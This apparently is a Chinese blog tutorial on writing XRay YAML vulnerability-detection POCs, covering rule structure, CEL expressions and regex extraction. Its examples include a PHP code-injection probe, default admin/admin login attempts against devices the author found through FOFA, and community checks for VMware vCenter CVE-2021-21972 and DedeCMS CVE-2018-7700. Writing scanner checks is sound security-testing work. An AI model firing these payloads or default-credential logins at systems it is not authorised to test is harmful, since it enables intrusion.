环境设置
在线自动生成
直接访问 https://phith0n.github.io/xray-poc-generation/ 源仓库phith0n/xray-poc-generation: 🧬 辅助生成 XRay YAML POC
本地
我使用vscode多,所以选择vsc的。
安装后在这里点击
然后改yaml.schemas为
{
"yaml.schemas": {
"https://docs.xray.cool/assets/poc/yaml-poc-schema.json": "poc-yaml-*.yml"
}
}
这样在写poc-yaml-{Your_file_name}.yml
时就会根据官方schema来提示了
基本结构
name: poc-yaml-learning
rules:
- method: GET
path: "/"
expression: |
response.status==200 && body.bcontains(b'learning Domain')
整个 POC 是一个键值对,包含3个键:
name: string
名字set: []string
定义变量,如随机数和反连平台等rules: []Rule
规则列表detail: map[string]string
内部存储需要返回给 xray 引擎的内容,如果无可忽略。
Rule是poc的灵魂,yaml里一个rule是一个键值对,包含:
method: string
请求方法path: string
请求的完整 Path,包括 querystring 等headers: map[string]string
请求 HTTP 头,Rule 中指定的值会被覆盖到原始数据包的 HTTP 头中body: string
请求的Bodyfollow_redirects: bool
是否允许跟随300跳转expression: string
search: string
Rule
根据这些键的作用,分为三类:
method
、path
、headers
、body
、follow_redirects
的作用是生成检测数据包expression
的作用是判断该条 Rule 的结果search
的作用是从返回包中提取信息
怎么写expression
部分函数方法
response.content_type.contains('application/octet-stream') && response.body.bcontains(b'\x00\x01\x02')
- 返回包的 content-type 包含 application/octet-stream,且 body 中包含 0x000102 这段二进制串
response.body.bcontains(b'test')
- 返回包 body 包含 bytes 类型的 test,用bcontains方法
r'^PK\x03\x04'.bmatches(response.body)
- body 匹配上正则
r'^PK\\x03\\x04
(文件头判断) response.status >= 300 && response.status < 400
- 返回包的 status code 在 300~400 之间
r'<input value="(.+?)"'.bmatches(response.body)
- Body包含表单
response.headers['location']=="https://www.example.com"
- headers 中
Location
等于指定值,如果Location
不存在,该表达式返回 false
- headers 中
'docker-distribution-api-version' in response.headers && response.headers['docker-distribution-api-version'].contains('registry/2.0')
- headers 中包含
docker-distribution-api-version
并且 value 包含指定字符串,如果不判断in
,后续的 contains 会出错。
- headers 中包含
response.body.bcontains(bytes(response.url.path))
- body 中包含 url 的 path
expression表达式返回的必须是一个bool类型的
完整参考 官方简短说明 或 [CEL表达式详细信息](https://github.com/google/cel-spec
怎么用search
从返回包中提取信息
name: poc-yaml-example-com
rules:
- method: GET
path: "/update"
expression: "true"
search: |
<input type="hidden" name="csrftoken" value="(?P<token>.+?)"
- method: POST
path: "/update"
body: |
id=';echo(md5(123));//&csrftoken={{token}}
expression: |
status == 200 && body.bcontains(b'202cb962ac59075b964b07152d234b70')
?P<var>
是正则表达式命名组的语法,可在 https://regex101.com/r/VQndKy/1/ 调试。{{
、}}
中包含的名字是正则的提取的数据,没提取成功就不会进行替换。
poc的执行过程
先对poc的关键,set和expression部分进行预编译和静态类型检查,然后有新的请求/链接时,根据rule对请求进行修改,替换掉原始数据包的数据,再获取对应请求的响应,匹配expression
就进行下一个rule,全部rule执行完成后,表示有漏洞,并将detail的信息进行漏洞输出
示例
官方仓库里经过漏洞镜像审核的poc https://github.com/chaitin/xray/tree/master/pocs
自己小例子
之前整过python代码自动跑fofa搜出来的防火墙/路由器的弱口令,当时也基本是针对性的写的脚本,大概有50行,而现在粘贴路径,User-Agent,还要body,以及响应的判断即可
name: poc-yaml-weekpasswd
rules:
- method: POST
path: /userLogin.asp
headers:
User-Agent: >-
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.49
body: >-
save2Cookie=&vldcode=&account=admin&password=admin&btnSubmit=+%B5%C7%C2%BC+
follow_redirects: true
expression: |
response.status==200 && body.contains("xx管理")
随后在config里的plugin下,local_poc: []
加上自己poc的路径即可
社区poc
name: poc-yaml-kingsoft-v8-default-password
rules:
- method: POST
path: /inter/ajax.php?cmd=get_user_login_cmd
body: "{\"get_user_login_cmd\":{\"name\":\"admin\",\"password\":\"21232f297a57a5a743894a0e4a801fc3\"}}"
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(b"ADMIN") && response.body.bcontains(b"userSession")
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://idc.wanyunshuju.com/aqld/2123.html
xray/vmware-vcenter-unauthorized-rce-cve-2021-21972.yml at master · chaitin/xray
name: poc-yaml-vmware-vcenter-unauthorized-rce-cve-2021-21972
rules:
- method: GET
path: /ui/vropspluginui/rest/services/uploadova
follow_redirects: false
expression: |
response.status == 405 && response.body.bcontains(b"Method Not Allowed")
- method: GET
path: /ui/vropspluginui/rest/services/getstatus
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"States") && response.body.bcontains(b"Install Progress")
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://swarm.ptsecurity.com/unauth-rce-vmware/
name: poc-yaml-dedecms-cve-2018-7700-rce
set:
r: randomInt(2000000000, 2100000000)
rules:
- method: GET
path: >-
/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5{{r}};{/dede:field}
follow_redirects: true
expression: |
response.status == 200 && response.body.bcontains(bytes(md5(string(r))))
detail:
author: harris2015(https://github.com/harris2015)
Affected Version: "V5.7SP2正式版(2018-01-09)"
links:
- https://xz.aliyun.com/t/2224
最后
编写高质量poc - xray 安全评估工具文档 可以反复观看学习比照
「真诚赞赏,手留余香」
真诚赞赏,手留余香
使用微信扫描二维码完成支付